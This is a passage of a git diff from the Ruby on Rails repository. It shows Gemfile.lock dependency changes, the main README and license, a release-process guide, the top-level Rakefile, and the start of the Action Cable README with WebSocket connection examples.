+      redis-namespace
+      simple_uuid
+    que (0.13.1)
+    racc (1.4.14)
     rack (2.0.3)
-    rack-test (0.6.3)
-      rack (>= 1.0)
+    rack-cache (1.7.0)
+      rack (>= 0.4)
+    rack-protection (2.0.0)
+      rack
+    rack-test (0.7.0)
+      rack (>= 1.0, < 3)
     rails-dom-testing (2.0.3)
       activesupport (>= 4.2.0)
       nokogiri (>= 1.6)
@@ -175,11 +291,23 @@ GEM
     rainbow (2.2.2)
       rake
     rake (12.0.0)
-    representable (3.0.4)
-      declarative (< 0.1.0)
-      declarative-option (< 0.2.0)
-      uber (< 0.2.0)
-    retriable (3.0.2)
+    rb-fsevent (0.10.2)
+    rdoc (5.1.0)
+    redcarpet (3.2.3)
+    redis (3.3.3)
+    redis-namespace (1.5.3)
+      redis (~> 3.0, >= 3.0.4)
+    resque (1.27.4)
+      mono_logger (~> 1.0)
+      multi_json (~> 1.0)
+      redis-namespace (~> 1.3)
+      sinatra (>= 0.9.2)
+      vegas (~> 0.1.2)
+    resque-scheduler (4.3.0)
+      mono_logger (~> 1.0)
+      redis (~> 3.3)
+      resque (~> 1.26)
+      rufus-scheduler (~> 3.2)
     rubocop (0.49.1)
       parallel (~> 1.10)
       parser (>= 2.3.3.1, < 3.0)
@@ -188,46 +316,151 @@ GEM
       ruby-progressbar (~> 1.7)
       unicode-display_width (~> 1.0, >= 1.0.1)
     ruby-progressbar (1.8.1)
-    signet (0.7.3)
-      addressable (~> 2.3)
-      faraday (~> 0.9)
-      jwt (~> 1.5)
-      multi_json (~> 1.10)
+    ruby_dep (1.5.0)
+    rubyzip (1.2.1)
+    rufus-scheduler (3.4.2)
+      et-orbi (~> 1.0)
+    sass (3.5.1)
+      sass-listen (~> 4.0.0)
+    sass-listen (4.0.0)
+      rb-fsevent (~> 0.9, >= 0.9.4)
+      rb-inotify (~> 0.9, >= 0.9.7)
+    sdoc (1.0.0.rc2)
+      rdoc (~> 5.0)
+    selenium-webdriver (3.4.4)
+      childprocess (~> 0.5)
+      rubyzip (~> 1.0)
+    sequel (4.48.0)
+    serverengine (1.5.11)
+      sigdump (~> 0.2.2)
+    sidekiq (5.0.4)
+      concurrent-ruby (~> 1.0)
+      connection_pool (~> 2.2, >= 2.2.0)
+      rack-protection (>= 1.5.0)
+      redis (~> 3.3, >= 3.3.3)
+    sigdump (0.2.4)
+    simple_uuid (0.4.0)
+    sinatra (2.0.0)
+      mustermann (~> 1.0)
+      rack (~> 2.0)
+      rack-protection (= 2.0.0)
+      tilt (~> 2.0)
+    sneakers (2.5.0)
+      bunny (~> 2.6.4)
+      serverengine (~> 1.5.11)
+      thor
+      thread (~> 0.1.7)
     sprockets (3.7.1)
       concurrent-ruby (~> 1.0)
       rack (> 1, < 3)
+    sprockets-export (1.0.0)
     sprockets-rails (3.2.0)
       actionpack (>= 4.0)
       activesupport (>= 4.0)
       sprockets (>= 3.0.0)
     sqlite3 (1.3.13)
-    thor (0.19.4)
+    sqlite3 (1.3.13-x64-mingw32)
+    sqlite3 (1.3.13-x86-mingw32)
+    stackprof (0.2.10)
+    sucker_punch (2.0.2)
+      concurrent-ruby (~> 1.0.0)
+    thin (1.7.2)
+      daemons (~> 1.0, >= 1.0.9)
+      eventmachine (~> 1.0, >= 1.0.4)
+      rack (>= 1, < 3)
+    thread (0.1.7)
     thread_safe (0.3.6)
+    tilt (2.0.8)
+    turbolinks (5.0.1)
+      turbolinks-source (~> 5)
+    turbolinks-source (5.0.3)
     tzinfo (1.2.3)
       thread_safe (~> 0.1)
-    uber (0.1.0)
+    tzinfo-data (1.2017.2)
+      tzinfo (>= 1.0.0)
+    uglifier (3.2.0)
+      execjs (>= 0.3.0, < 3)
     unicode-display_width (1.3.0)
+    useragent (0.16.8)
+    vegas (0.1.11)
+      rack (>= 1.0.0)
+    w3c_validators (1.3.3)
+      json (>= 1.8)
+      nokogiri (~> 1.6)
+    wdm (0.1.1)
+    websocket (1.2.4)
     websocket-driver (0.6.5)
       websocket-extensions (>= 0.1.0)
     websocket-extensions (0.1.2)
+    xpath (2.1.0)
+      nokogiri (~> 1.3)
 
 PLATFORMS
   ruby
+  x64-mingw32
+  x86-mingw32
 
 DEPENDENCIES
-  activestorage!
-  aws-sdk (~> 2)
-  azure-core!
-  azure-storage
-  bundler (~> 1.15)
+  activerecord-jdbcmysql-adapter (>= 1.3.0)
+  activerecord-jdbcpostgresql-adapter (>= 1.3.0)
+  activerecord-jdbcsqlite3-adapter (>= 1.3.0)
+  arel!
+  backburner
+  bcrypt (~> 3.1.11)
+  benchmark-ips
+  blade
+  blade-sauce_labs_plugin
+  bootsnap (>= 1.1.0)
   byebug
-  google-cloud-storage (~> 1.3)
-  httparty
-  mini_magick
+  capybara (~> 2.13)
+  coffee-rails
+  dalli (>= 2.2.1)
+  delayed_job
+  delayed_job_active_record
+  em-hiredis
+  erubis (~> 2.7.0)
+  hiredis
+  jquery-rails
+  json (>= 2.0.0)
+  kindlerb (~> 1.2.0)
+  libxml-ruby
+  listen (>= 3.0.5, < 3.2)
+  minitest (< 5.3.4)
+  mocha (~> 0.14)
+  mysql2 (>= 0.4.4)
+  nokogiri (>= 1.6.8)
+  pg (>= 0.18.0)
+  psych (~> 2.0)
+  puma
+  qu-redis
+  que
+  queue_classic!
+  racc (>= 1.4.6)
+  rack-cache (~> 1.2)
   rails!
-  rake
-  rubocop
-  sqlite3
+  rake (>= 11.1)
+  rb-inotify!
+  redcarpet (~> 3.2.3)
+  redis
+  resque
+  resque-scheduler
+  rubocop (>= 0.47)
+  sass-rails!
+  sdoc (> 1.0.0.rc1, < 2.0)
+  sequel
+  sidekiq
+  sneakers
+  sprockets-export
+  sqlite3 (~> 1.3.6)
+  stackprof
+  sucker_punch
+  thor!
+  turbolinks (~> 5)
+  tzinfo-data
+  uglifier (>= 1.3.0)
+  w3c_validators
+  wdm (>= 0.1.0)
+  websocket-client-simple!
 
 BUNDLED WITH
    1.15.3
diff --git a/MIT-LICENSE b/MIT-LICENSE
index 4e1c6cad79..6b3cead1a7 100644
--- a/MIT-LICENSE
+++ b/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2017 David Heinemeier Hansson, Basecamp
+Copyright (c) 2005-2017 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/RAILS_VERSION b/RAILS_VERSION
new file mode 100644
index 0000000000..d5ebf861d3
--- /dev/null
+++ b/RAILS_VERSION
@@ -0,0 +1 @@
+5.2.0.alpha
diff --git a/README.md b/README.md
index 4a5f03233d..8bd066cb27 100644
--- a/README.md
+++ b/README.md
@@ -1,151 +1,95 @@
-# Active Storage
+# Welcome to Rails
 
-Active Storage makes it simple to upload and reference files in cloud services, like Amazon S3 or Google Cloud Storage,
-and attach those files to Active Records. It also provides a disk service for testing or local deployments, but the
-focus is on cloud storage.
+Rails is a web-application framework that includes everything needed to
+create database-backed web applications according to the
+[Model-View-Controller (MVC)](http://en.wikipedia.org/wiki/Model-view-controller)
+pattern.
 
-Files can uploaded from the server to the cloud or directly from the client to the cloud.
+Understanding the MVC pattern is key to understanding Rails. MVC divides your
+application into three layers, each with a specific responsibility.
 
-Image files can further more be transformed using on-demand variants for quality, aspect ratio, size, or any other
-MiniMagick supported transformation.
+The _Model layer_ represents your domain model (such as Account, Product,
+Person, Post, etc.) and encapsulates the business logic that is specific to
+your application. In Rails, database-backed model classes are derived from
+`ActiveRecord::Base`. Active Record allows you to present the data from
+database rows as objects and embellish these data objects with business logic
+methods. You can read more about Active Record in its [README](activerecord/README.rdoc).
+Although most Rails models are backed by a database, models can also be ordinary
+Ruby classes, or Ruby classes that implement a set of interfaces as provided by
+the Active Model module. You can read more about Active Model in its [README](activemodel/README.rdoc).
 
-## Compared to other storage solutions
+The _Controller layer_ is responsible for handling incoming HTTP requests and
+providing a suitable response. Usually this means returning HTML, but Rails controllers
+can also generate XML, JSON, PDFs, mobile-specific views, and more. Controllers load and
+manipulate models, and render view templates in order to generate the appropriate HTTP response.
+In Rails, incoming requests are routed by Action Dispatch to an appropriate controller, and
+controller classes are derived from `ActionController::Base`. Action Dispatch and Action Controller
+are bundled together in Action Pack. You can read more about Action Pack in its
+[README](actionpack/README.rdoc).
 
-A key difference to how Active Storage works compared to other attachment solutions in Rails is through the use of built-in [Blob](https://github.com/rails/activestorage/blob/master/app/models/active_storage/blob.rb) and [Attachment](https://github.com/rails/activestorage/blob/master/app/models/active_storage/attachment.rb) models (backed by Active Record). This means existing application models do not need to be modified with additional columns to associate with files. Active Storage uses polymorphic associations via the join model of `Attachment`, which then connects to the actual `Blob`.
+The _View layer_ is composed of "templates" that are responsible for providing
+appropriate representations of your application's resources. Templates can
+come in a variety of formats, but most view templates are HTML with embedded
+Ruby code (ERB files). Views are typically rendered to generate a controller response,
+or to generate the body of an email. In Rails, View generation is handled by Action View.
+You can read more about Action View in its [README](actionview/README.rdoc).
 
-These `Blob` models are intended to be immutable in spirit. One file, one blob. You can associate the same blob with multiple application models as well. And if you want to do transformations of a given `Blob`, the idea is that you'll simply create a new one, rather than attempt to mutate the existing (though of course you can delete that later if you don't need it).
+Active Record, Active Model, Action Pack, and Action View can each be used independently outside Rails.
+In addition to that, Rails also comes with Action Mailer ([README](actionmailer/README.rdoc)), a library
+to generate and send emails; Active Job ([README](activejob/README.md)), a
+framework for declaring jobs and making them run on a variety of queueing
+backends; Action Cable ([README](actioncable/README.md)), a framework to
+integrate WebSockets with a Rails application;
+and Active Support ([README](activesupport/README.rdoc)), a collection
+of utility classes and standard library extensions that are useful for Rails,
+and may also be used independently outside Rails.
 
-## Examples
+## Getting Started
 
-One attachment:
+1. Install Rails at the command prompt if you haven't yet:
 
-```ruby
-class User < ApplicationRecord
-  has_one_attached :avatar
-end
+        $ gem install rails
 
-user.avatar.attach io: File.open("~/face.jpg"), filename: "avatar.jpg", content_type: "image/jpg"
-user.avatar.attached? # => true
+2. At the command prompt, create a new Rails application:
 
-user.avatar.purge
-user.avatar.attached? # => false
-
-url_for(user.avatar) # Generate a permanent URL for the blob, which upon access will redirect to a temporary service URL.
-
-class AvatarsController < ApplicationController
-  def update
-    # params[:avatar] contains a ActionDispatch::Http::UploadedFile object
-    Current.user.avatar.attach(params.require(:avatar))
-    redirect_to Current.user
-  end
-end
-```
+        $ rails new myapp
 
-Many attachments:
+   where "myapp" is the application name.
 
-```ruby
-class Message < ApplicationRecord
-  has_many_attached :images
-end
-```
+3. Change directory to `myapp` and start the web server:
 
-```erb
-<%= form_with model: @message do |form| %>
-  <%= form.text_field :title, placeholder: "Title" %><br>
-  <%= form.text_area :content %><br><br>
+        $ cd myapp
+        $ rails server
 
-  <%= form.file_field :images, multiple: true %><br>
-  <%= form.submit %>
-<% end %>
-```
+   Run with `--help` or `-h` for options.
 
-```ruby
-class MessagesController < ApplicationController
-  def index
-    # Use the built-in with_attached_images scope to avoid N+1
-    @messages = Message.all.with_attached_images
-  end
+4. Using a browser, go to `http://localhost:3000` and you'll see:
+"Yay! You’re on Rails!"
 
-  def create
-    message = Message.create! params.require(:message).permit(:title, :content)
-    message.images.attach(params[:message][:images])
-    redirect_to message
-  end
+5. Follow the guidelines to start developing your application. You may find
+   the following resources handy:
+    * [Getting Started with Rails](http://guides.rubyonrails.org/getting_started.html)
+    * [Ruby on Rails Guides](http://guides.rubyonrails.org)
+    * [The API Documentation](http://api.rubyonrails.org)
+    * [Ruby on Rails Tutorial](https://www.railstutorial.org/book)
 
-  def show
-    @message = Message.find(params[:id])
-  end
-end
-```
+## Contributing
 
-Variation of image attachment:
+[![Code Triage Badge](https://www.codetriage.com/rails/rails/badges/users.svg)](https://www.codetriage.com/rails/rails)
 
-```erb
-<%# Hitting the variant URL will lazy transform the original blob and then redirect to its new service location %>
-<%= image_tag url_for(user.avatar.variant(resize: "100x100")) %>
-```
+We encourage you to contribute to Ruby on Rails! Please check out the
+[Contributing to Ruby on Rails guide](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html) for guidelines about how to proceed. [Join us!](http://contributors.rubyonrails.org)
 
-## Installation
+Trying to report a possible security vulnerability in Rails? Please
+check out our [security policy](http://rubyonrails.org/security/) for
+guidelines about how to proceed.
 
-1. Add `gem "activestorage", git: "https://github.com/rails/activestorage.git"` to your Gemfile.
-2. Add `require "active_storage"` to config/application.rb, after `require "rails/all"` line.
-3. Run `rails activestorage:install` to create needed directories, migrations, and configuration.
-4. Configure the storage service in `config/environments/*` with `config.active_storage.service = :local`
-   that references the services configured in `config/storage_services.yml`.
-5. Optional: Add `gem "aws-sdk", "~> 2"` to your Gemfile if you want to use AWS S3.
-6. Optional: Add `gem "google-cloud-storage", "~> 1.3"` to your Gemfile if you want to use Google Cloud Storage.
-7. Optional: Add `gem "mini_magick"` to your Gemfile if you want to use variants.
+Everyone interacting in Rails and its sub-projects' codebases, issue trackers, chat rooms, and mailing lists is expected to follow the Rails [code of conduct](http://rubyonrails.org/conduct/).
 
-## Direct uploads
+## Code Status
 
-Active Storage, with its included JavaScript library, supports uploading directly from the client to the cloud.
-
-### Direct upload installation
-
-1. Include `activestorage.js` in your application's JavaScript bundle.
-
-    Using the asset pipeline:
-    ```js
-    //= require activestorage
-    ```
-    Using the npm package:
-    ```js
-    import * as ActiveStorage from "activestorage"
-    ActiveStorage.start()
-    ```
-2. Annotate file inputs with the direct upload URL.
-
-    ```ruby
-    <%= form.file_field :attachments, multiple: true, direct_upload: true %>
-    ```
-3. That's it! Uploads begin upon form submission.
-
-### Direct upload JavaScript events
-
-| Event name | Event target | Event data (`event.detail`) | Description |
-| --- | --- | --- | --- |
-| `direct-uploads:start` | `<form>` | None | A form containing files for direct upload fields was submit. |
-| `direct-upload:initialize` | `<input>` | `{id, file}` | Dispatched for every file after form submission. |
-| `direct-upload:start` | `<input>` | `{id, file}` | A direct upload is starting. |
-| `direct-upload:before-blob-request` | `<input>` | `{id, file, xhr}` | Before making a request to your application for direct upload metadata. |
-| `direct-upload:before-storage-request` | `<input>` | `{id, file, xhr}` | Before making a request to store a file. |
-| `direct-upload:progress` | `<input>` | `{id, file, progress}` | As requests to store files progress. |
-| `direct-upload:error` | `<input>` | `{id, file, error}` | An error occurred. An `alert` will display unless this event is canceled. |
-| `direct-upload:end` | `<input>` | `{id, file}` | A direct upload has ended. |
-| `direct-uploads:end` | `<form>` | None | All direct uploads have ended. |
-
-## Compatibility & Expectations
-
-Active Storage only works with the development version of Rails 5.2+ (as of July 19, 2017). This separate repository is a staging ground for the upcoming inclusion in rails/rails prior to the Rails 5.2 release. It is not intended to be a long-term stand-alone repository.
-
-Furthermore, this repository is likely to be in heavy flux prior to the merge to rails/rails. You're heartedly encouraged to follow along and even use Active Storage in this phase, but don't be surprised if the API suffers frequent breaking changes prior to the merge.
-
-## Todos
-
-- Convert MirrorService to use threading
-- Read metadata via Marcel?
-- Add Migrator to copy/move between services
+[![Build Status](https://travis-ci.org/rails/rails.svg?branch=master)](https://travis-ci.org/rails/rails)
 
 ## License
 
-Active Storage is released under the [MIT License](https://opensource.org/licenses/MIT).
+Ruby on Rails is released under the [MIT License](http://www.opensource.org/licenses/MIT).
diff --git a/RELEASING_RAILS.md b/RELEASING_RAILS.md
new file mode 100644
index 0000000000..3ff28c29f5
--- /dev/null
+++ b/RELEASING_RAILS.md
@@ -0,0 +1,225 @@
+# Releasing Rails
+
+In this document, we'll cover the steps necessary to release Rails. Each
+section contains steps to take during that time before the release. The times
+suggested in each header are just that: suggestions. However, they should
+really be considered as minimums.
+
+## 10 Days before release
+
+Today is mostly coordination tasks. Here are the things you must do today:
+
+### Is the CI green? If not, make it green. (See "Fixing the CI")
+
+Do not release with a Red CI. You can find the CI status here:
+
+```
+http://travis-ci.org/rails/rails
+```
+
+### Is Sam Ruby happy? If not, make him happy.
+
+Sam Ruby keeps a [test suite](https://github.com/rubys/awdwr) that makes
+sure the code samples in his book
+([Agile Web Development with Rails](https://pragprog.com/titles/rails5/agile-web-development-with-rails-5th-edition))
+all work. These are valuable system tests
+for Rails. You can check the status of these tests here:
+
+[http://intertwingly.net/projects/dashboard.html](http://intertwingly.net/projects/dashboard.html)
+
+Do not release with Red AWDwR tests.
+
+### Do we have any Git dependencies? If so, contact those authors.
+
+Having Git dependencies indicates that we depend on unreleased code.
+Obviously Rails cannot be released when it depends on unreleased code.
+Contact the authors of those particular gems and work out a release date that
+suits them.
+
+### Contact the security team (either tenderlove or rafaelfranca)
+
+Let them know of your plans to release. There may be security issues to be
+addressed, and that can impact your release date.
+
+### Notify implementors.
+
+Ruby implementors have high stakes in making sure Rails works. Be kind and
+give them a heads up that Rails will be released soonish.
+
+This is only required for major and minor releases, bugfix releases aren't a
+big enough deal, and are supposed to be backward compatible.
+
+Send an email just giving a heads up about the upcoming release to these
+lists:
+
+* team@jruby.org
+* community@rubini.us
+* rubyonrails-core@googlegroups.com
+
+Implementors will love you and help you.
+
+## 3 Days before release
+
+This is when you should release the release candidate. Here are your tasks
+for today:
+
+### Is the CI green? If not, make it green.
+
+### Is Sam Ruby happy? If not, make him happy.
+
+### Contact the security team. CVE emails must be sent on this day.
+
+### Create a release branch.
+
+From the stable branch, create a release branch. For example, if you're
+releasing Rails 3.0.10, do this:
+
+```
+[aaron@higgins rails (3-0-stable)]$ git checkout -b 3-0-10
+Switched to a new branch '3-0-10'
+[aaron@higgins rails (3-0-10)]$
+```
+
+### Update each CHANGELOG.
+
+Many times commits are made without the CHANGELOG being updated. You should
+review the commits since the last release, and fill in any missing information
+for each CHANGELOG.
+
+You can review the commits for the 3.0.10 release like this:
+
+```
+[aaron@higgins rails (3-0-10)]$ git log v3.0.9..
+```
+
+If you're doing a stable branch release, you should also ensure that all of
+the CHANGELOG entries in the stable branch are also synced to the master
+branch.
+
+### Put the new version in the RAILS_VERSION file.
+
+Include an RC number if appropriate, e.g. `6.0.0.rc1`.
+
+### Build and test the gem.
+
+Run `rake verify` to generate the gems and install them locally. `verify` also
+generates a Rails app with a migration and boots it to smoke test with in your
+browser.
+
+This will stop you from looking silly when you push an RC to rubygems.org and
+then realize it is broken.
+
+### Release to RubyGems and NPM.
+
+IMPORTANT: The Action Cable client and Action View's UJS adapter are released
+as NPM packages, so you must have Node.js installed, have an NPM account
+(npmjs.com), and be a package owner for `actioncable` and `rails-ujs` (you can
+check this via `npm owner ls actioncable` and `npm owner ls rails-ujs`) in
+order to do a full release. Do not release until you're set up with NPM!
+
+The release task will sign the release tag. If you haven't got commit signing
+set up, use https://git-scm.com/book/tr/v2/Git-Tools-Signing-Your-Work as a
+guide. You can generate keys with the GPG suite from here: https://gpgtools.org.
+
+Run `rake changelog:header` to put a header with the new version in every
+CHANGELOG. Don't commit this, the release task handles it.
+
+Run `rake release`. This will populate the gemspecs and NPM package.json with
+the current RAILS_VERSION, commit the changes, tag it, and push the gems to
+rubygems.org.
+
+### Send Rails release announcements
+
+Write a release announcement that includes the version, changes, and links to
+GitHub where people can find the specific commit list. Here are the mailing
+lists where you should announce:
+
+* rubyonrails-core@googlegroups.com
+* rubyonrails-talk@googlegroups.com
+* ruby-talk@ruby-lang.org
+
+Use Markdown format for your announcement. Remember to ask people to report
+issues with the release candidate to the rails-core mailing list.
+
+NOTE: For patch releases there's a `rake announce` task to generate the release
+post. It supports multiple patch releases too:
+
+```
+VERSIONS="5.0.5.rc1,5.1.3.rc1" rake announce
+```
+
+IMPORTANT: If any users experience regressions when using the release
+candidate, you *must* postpone the release. Bugfix releases *should not*
+break existing applications.
+
+### Post the announcement to the Rails blog.
+
+If you used Markdown format for your email, you can just paste it into the
+blog.
+
+* http://weblog.rubyonrails.org
+
+### Post the announcement to the Rails Twitter account.
+
+## Time between release candidate and actual release
+
+Check the rails-core mailing list and the GitHub issue list for regressions in
+the RC.
+
+If any regressions are found, fix the regressions and repeat the release
+candidate process. We will not release the final until 72 hours after the
+last release candidate has been pushed. This means that if users find
+regressions, the scheduled release date must be postponed.
+
+When you fix the regressions, do not create a new branch. Fix them on the
+stable branch, then cherry pick the commit to your release branch. No other
+commits should be added to the release branch besides regression fixing commits.
+
+## Day of release
+
+Many of these steps are the same as for the release candidate, so if you need
+more explanation on a particular step, see the RC steps.
+
+Today, do this stuff in this order:
+
+* Apply security patches to the release branch
+* Update CHANGELOG with security fixes
+* Update RAILS_VERSION to remove the rc
+* Build and test the gem
+* Release the gems
+* If releasing a new stable version:
+  - Trigger stable docs generation (see below)
+  - Update the version in the home page
+* Email security lists
+* Email general announcement lists
+
+### Emailing the Rails security announce list
+
+Email the security announce list once for each vulnerability fixed.
+
+You can do this, or ask the security team to do it.
+
+Email the security reports to:
+
+* rubyonrails-security@googlegroups.com
+* oss-security@lists.openwall.com
+
+Be sure to note the security fixes in your announcement along with CVE numbers
+and links to each patch. Some people may not be able to upgrade right away,
+so we need to give them the security fixes in patch form.
+
+* Blog announcements
+* Twitter announcements
+* Merge the release branch to the stable branch
+* Drink beer (or other cocktail)
+
+## Misc
+
+### Fixing the CI
+
+There are two simple steps for fixing the CI:
+
+1. Identify the problem
+2. Fix it
+
+Repeat these steps until the CI is green.
diff --git a/Rakefile b/Rakefile
index a41e07f373..1421851900 100644
--- a/Rakefile
+++ b/Rakefile
@@ -1,12 +1,70 @@
-require "bundler/setup"
-require "bundler/gem_tasks"
-require "rake/testtask"
+require "net/http"
 
-Rake::TestTask.new do |test|
-  test.libs << "app/controllers"
-  test.libs << "test"
-  test.test_files = FileList["test/**/*_test.rb"]
-  test.warning = false
+$:.unshift __dir__
+require "tasks/release"
+require "railties/lib/rails/api/task"
+
+desc "Build gem files for all projects"
+task build: "all:build"
+
+desc "Build, install and verify the gem files in a generated Rails app."
+task verify: "all:verify"
+
+desc "Prepare the release"
+task prep_release: "all:prep_release"
+
+desc "Release all gems to rubygems and create a tag"
+task release: "all:release"
+
+desc "Run all tests by default"
+task default: %w(test test:isolated)
+
+%w(test test:isolated package gem).each do |task_name|
+  desc "Run #{task_name} task for all projects"
+  task task_name do
+    errors = []
+    FRAMEWORKS.each do |project|
+      system(%(cd #{project} && #{$0} #{task_name} --trace)) || errors << project
+    end
+    fail("Errors in #{errors.join(', ')}") unless errors.empty?
+  end
 end
 
-task default: :test
+desc "Smoke-test all projects"
+task :smoke do
+  (FRAMEWORKS - %w(activerecord)).each do |project|
+    system %(cd #{project} && #{$0} test:isolated --trace)
+  end
+  system %(cd activerecord && #{$0} sqlite3:isolated_test --trace)
+end
+
+desc "Install gems for all projects."
+task install: "all:install"
+
+desc "Generate documentation for the Rails framework"
+if ENV["EDGE"]
+  Rails::API::EdgeTask.new("rdoc")
+else
+  Rails::API::StableTask.new("rdoc")
+end
+
+desc "Bump all versions to match RAILS_VERSION"
+task update_versions: "all:update_versions"
+
+# We have a webhook configured in GitHub that gets invoked after pushes.
+# This hook triggers the following tasks:
+#
+#   * updates the local checkout
+#   * updates Rails Contributors
+#   * generates and publishes edge docs
+#   * if there's a new stable tag, generates and publishes stable docs
+#
+# Everything is automated and you do NOT need to run this task normally.
+desc "Publishes docs, run this AFTER a new stable tag has been pushed"
+task :publish_docs do
+  Net::HTTP.new("api.rubyonrails.org", 8080).start do |http|
+    request  = Net::HTTP::Post.new("/rails-master-hook")
+    response = http.request(request)
+    puts response.body
+  end
+end
diff --git a/actioncable/.gitignore b/actioncable/.gitignore
new file mode 100644
index 0000000000..0a04b29786
--- /dev/null
+++ b/actioncable/.gitignore
@@ -0,0 +1,2 @@
+/lib/assets/compiled
+/tmp
diff --git a/actioncable/CHANGELOG.md b/actioncable/CHANGELOG.md
new file mode 100644
index 0000000000..fbe9863af7
--- /dev/null
+++ b/actioncable/CHANGELOG.md
@@ -0,0 +1,26 @@
+*   Hash long stream identifiers when using Postgres adapter.
+
+    PostgreSQL has a limit on identifiers length (63 chars, [docs](https://www.postgresql.org/docs/current/static/sql-syntax-lexical.html#SQL-SYNTAX-IDENTIFIERS)).
+    Provided fix minifies identifiers longer than 63 chars by hashing them with SHA1.
+
+    Fixes #28751.
+
+    *Vladimir Dementyev*
+
+*   ActionCable's `redis` adapter allows for other common redis-rb options (`host`, `port`, `db`, `password`) in cable.yml.
+
+    Previously, it accepts only a [redis:// url](https://www.iana.org/assignments/uri-schemes/prov/redis) as an option.
+    While we can add all of these options to the `url` itself, it is not explicitly documented. This alternative setup
+    is shown as the first example in the [Redis rubygem](https://github.com/redis/redis-rb#getting-started), which
+    makes this set of options as sensible as using just the `url`.
+
+    *Marc Rendl Ignacio*
+
+*   ActionCable socket errors are now logged to the console
+
+    Previously any socket errors were ignored and this made it hard to diagnose socket issues (e.g. as discussed in #28362).
+
+    *Edward Poot*
+
+
+Please check [5-1-stable](https://github.com/rails/rails/blob/5-1-stable/actioncable/CHANGELOG.md) for previous changes.
diff --git a/actioncable/MIT-LICENSE b/actioncable/MIT-LICENSE
new file mode 100644
index 0000000000..1a0e653b69
--- /dev/null
+++ b/actioncable/MIT-LICENSE
@@ -0,0 +1,20 @@
+Copyright (c) 2015-2017 Basecamp, LLC
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/actioncable/README.md b/actioncable/README.md
new file mode 100644
index 0000000000..6946dbefb0
--- /dev/null
+++ b/actioncable/README.md
@@ -0,0 +1,567 @@
+# Action Cable – Integrated WebSockets for Rails
+
+Action Cable seamlessly integrates WebSockets with the rest of your Rails application.
+It allows for real-time features to be written in Ruby in the same style
+and form as the rest of your Rails application, while still being performant
+and scalable. It's a full-stack offering that provides both a client-side
+JavaScript framework and a server-side Ruby framework. You have access to your full
+domain model written with Active Record or your ORM of choice.
+
+## Terminology
+
+A single Action Cable server can handle multiple connection instances. It has one
+connection instance per WebSocket connection. A single user may have multiple
+WebSockets open to your application if they use multiple browser tabs or devices.
+The client of a WebSocket connection is called the consumer.
+
+Each consumer can in turn subscribe to multiple cable channels. Each channel encapsulates
+a logical unit of work, similar to what a controller does in a regular MVC setup. For example,
+you could have a `ChatChannel` and an `AppearancesChannel`, and a consumer could be subscribed to either
+or to both of these channels. At the very least, a consumer should be subscribed to one channel.
+
+When the consumer is subscribed to a channel, they act as a subscriber. The connection between
+the subscriber and the channel is, surprise-surprise, called a subscription. A consumer
+can act as a subscriber to a given channel any number of times. For example, a consumer
+could subscribe to multiple chat rooms at the same time. (And remember that a physical user may
+have multiple consumers, one per tab/device open to your connection).
+
+Each channel can then again be streaming zero or more broadcastings. A broadcasting is a
+pubsub link where anything transmitted by the broadcaster is sent directly to the channel
+subscribers who are streaming that named broadcasting.
+
+As you can see, this is a fairly deep architectural stack. There's a lot of new terminology
+to identify the new pieces, and on top of that, you're dealing with both client and server side
+reflections of each unit.
+
+## Examples
+
+### A full-stack example
+
+The first thing you must do is define your `ApplicationCable::Connection` class in Ruby. This
+is the place where you authorize the incoming connection, and proceed to establish it,
+if all is well. Here's the simplest example starting with the server-side connection class:
+
+```ruby
+# app/channels/application_cable/connection.rb
+module ApplicationCable
+  class Connection < ActionCable::Connection::Base
+    identified_by :current_user
+
+    def connect
+      self.current_user = find_verified_user
+    end
+
+    private
+      def find_verified_user
+        if verified_user = User.find_by(id: cookies.signed[:user_id])
+          verified_user
+        else
+          reject_unauthorized_connection
+        end
+      end
+  end
+end
+```
+Here `identified_by` is a connection identifier that can be used to find the specific connection again or later.
+Note that anything marked as an identifier will automatically create a delegate by the same name on any channel instances created off the connection.
+
+This relies on the fact that you will already have handled authentication of the user, and
+that a successful authentication sets a signed cookie with the `user_id`. This cookie is then
+automatically sent to the connection instance when a new connection is attempted, and you
+use that to set the `current_user`. By identifying the connection by this same current_user,
+you're also ensuring that you can later retrieve all open connections by a given user (and
+potentially disconnect them all if the user is deleted or deauthorized).
+
+Next, you should define your `ApplicationCable::Channel` class in Ruby. This is the place where you put
+shared logic between your channels.
+
+```ruby
+# app/channels/application_cable/channel.rb
+module ApplicationCable
+  class Channel < ActionCable::Channel::Base
+  end
+end
+```
+
+The client-side needs to setup a consumer instance of this connection. That's done like so:
+
+```js
+// app/assets/javascripts/cable.js
+//= require action_cable
+//= require_self
+//= require_tree ./channels
+
+(function() {
+  this.App || (this.App = {});
+
+  App.cable = ActionCable.createConsumer("ws://cable.example.com");
+}).call(this);
+```
+
+The `ws://cable.example.com` address must point to your Action Cable server(s), and it
+must share a cookie namespace with the rest of the application (which may live under http://example.com).
+This ensures that the signed cookie will be correctly sent.
+
+That's all you need to establish the connection! But of course, this isn't very useful in
+itself. This just gives you the plumbing. To make stuff happen, you need content. That content
+is defined by declaring channels on the server and allowing the consumer to subscribe to them.
+
+
+### Channel example 1: User appearances
+
+Here's a simple example of a channel that tracks whether a user is online or not, and also what page they are currently on.
+(This is useful for creating presence features like showing a green dot next to a user's name if they're online).
+
+First you declare the server-side channel:
+
+```ruby
+# app/channels/appearance_channel.rb
